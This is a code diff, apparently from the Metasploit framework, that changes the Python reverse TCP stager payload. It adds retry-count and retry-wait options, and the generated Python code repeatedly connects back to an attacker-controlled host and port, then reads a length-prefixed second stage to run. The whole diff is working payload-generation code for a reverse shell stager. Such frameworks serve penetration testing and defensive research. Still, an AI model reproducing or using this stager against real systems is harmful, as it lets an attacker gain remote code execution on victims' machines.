@@ -16,14 +16,23 @@ module Payload::Python::ReverseTcp
16
16
include Msf ::Payload ::Python
17
17
include Msf ::Payload ::Python ::SendUUID
18
18
19
+ def initialize ( *args )
20
+ super
21
+ register_advanced_options ( [
22
+ OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails (zero to infinite retries)' , 10 ] ) ,
23
+ OptInt . new ( 'StagerRetryWait' , [ false , 'Number of seconds to wait for the stager between reconnect attempts' , 5 ] )
24
+ ] , self . class )
25
+ end
26
+
19
27
#
20
28
# Generate the first stage
21
29
#
22
30
def generate
23
31
conf = {
24
32
port : datastore [ 'LPORT' ] ,
25
33
host : datastore [ 'LHOST' ] ,
26
- retry_count : datastore [ 'ReverseConnectRetries' ] ,
34
+ retry_count : datastore [ 'StagerRetryCount' ] ,
35
+ retry_wait : datastore [ 'StagerRetryWait' ] ,
27
36
}
28
37
29
38
generate_reverse_tcp ( conf )
@@ -43,9 +52,27 @@ def transport_config(opts={})
43
52
44
53
def generate_reverse_tcp ( opts = { } )
45
54
# Set up the socket
46
- cmd = "import socket,struct\n "
47
- cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n " # socket.AF_INET = 2
48
- cmd << "s.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
55
+ cmd = "import socket,struct#{ opts [ :retry_wait ] . to_i > 0 ? ',time' : '' } \n "
56
+ if opts [ :retry_wait ] . blank? # do not retry at all (old style)
57
+ cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n " # socket.AF_INET = 2
58
+ cmd << "s.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
59
+ else
60
+ if opts [ :retry_count ] > 0
61
+ cmd << "for x in range(#{ opts [ :retry_count ] . to_i } ):\n "
62
+ else
63
+ cmd << "while 1:\n "
64
+ end
65
+ cmd << "\t try:\n "
66
+ cmd << "\t \t s=socket.socket(2,socket.SOCK_STREAM)\n " # socket.AF_INET = 2
67
+ cmd << "\t \t s.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
68
+ cmd << "\t \t break\n "
69
+ cmd << "\t except:\n "
70
+ if opts [ :retry_wait ] . to_i <= 0
71
+ cmd << "\t \t pass\n " # retry immediately
72
+ else
73
+ cmd << "\t \t time.sleep(#{ opts [ :retry_wait ] } )\n " # retry after waiting
74
+ end
75
+ end
49
76
cmd << py_send_uuid if include_send_uuid
50
77
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n "
51
78
cmd << "d=s.recv(l)\n "
0 commit comments